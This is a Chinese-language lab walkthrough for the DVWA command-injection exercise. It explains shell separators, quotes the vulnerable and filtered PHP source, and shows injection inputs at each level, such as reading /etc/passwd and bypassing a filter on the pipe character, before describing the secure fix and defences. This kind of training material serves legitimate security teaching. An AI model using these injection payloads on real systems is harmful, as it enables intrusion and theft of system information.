DVWA Command Injection 命令注入通关教程
漏洞简介
命令注入这玩意,简单说就是用户输入的东西被当成系统命令执行了。比如一个 ping 功能,输入 IP 就能 ping,但如果没过滤好,输入个 127.0.0.1;ls 就能把 ls 也执行了,这就叫命令注入。
这关主要就是学怎么利用这个漏洞拿到服务器信息。
常用连接符
先记几个常用的命令连接符:
| 连接符 | 作用 |
|---|---|
; |
Linux 专用,前后命令都执行 |
&& |
前面的成功了才执行后面的 |
|| |
前面的失败了才执行后面的 |
| |
管道,前面输出给后面 |
& |
Linux 后台运行,Windows 也能当连接符用 |
Low 级别
看源码:
1 | $target = $_REQUEST[ 'ip' ]; |
用户输入直接拼进命令执行了,一点过滤都没有,想执行啥都行。
测试一下
输入 127.0.0.1;ls:
1 | PING 127.0.0.1 (127.0.0.1): 56 data bytes |
看到最后多出来几个文件名了吧,ls 命令执行成功了。
换个姿势,127.0.0.1&&whoami:
1 | ... |
当前用户是 www-data。
再看个狠的,127.0.0.1|cat /etc/passwd:
1 | root:x:0:0:root:/root:/bin/bash |
直接把 passwd 文件读出来了。
还可以看看系统信息 127.0.0.1;uname -a:
1 | ... |
这信息泄露够多的。
Medium 级别
Medium 开始过滤了:
1 | $substitutions = array( |
过滤了 && 和 ;,但是漏了 ||、|、& 这些。
绕过方法
用 || 的话,前面的命令得失败才能执行后面的,所以可以这样:
1 | 127.0.0.1||ls |
或者直接用管道符:
1 | 127.0.0.1|whoami |
管道符最香,因为它只输出后面命令的结果,干净利落。
High 级别
High 级别过滤得更狠:
1 | $substitutions = array( |
看起来过滤了 | 和 ||,但仔细看,| 过滤的是管道符加空格,也就是说管道符后面不带空格就没事。
绕过
直接用管道符不加空格:
1 | 127.0.0.1|ls |
或者:
1 | 127.0.0.1|whoami |
又绕过去了。这过滤写得还是不够严谨。
Impossible 级别
Impossible 级别是真正的安全写法:
1 | $target = stripslashes( $target ); |
把输入按 . 分成四段,每段必须是数字而且要在 0-255 之间,这才能通过验证。这才是 IP 地址应该有的校验方式,从根本上杜绝了命令注入。
小结
命令注入危害挺大的,防护的话:
- 能不用系统命令就别用,语言自带函数能解决大部分问题
- 实在要用就得做好输入校验,用白名单
- 用
escapeshellarg()这类函数转义参数 - Web 服务尽量用低权限账户跑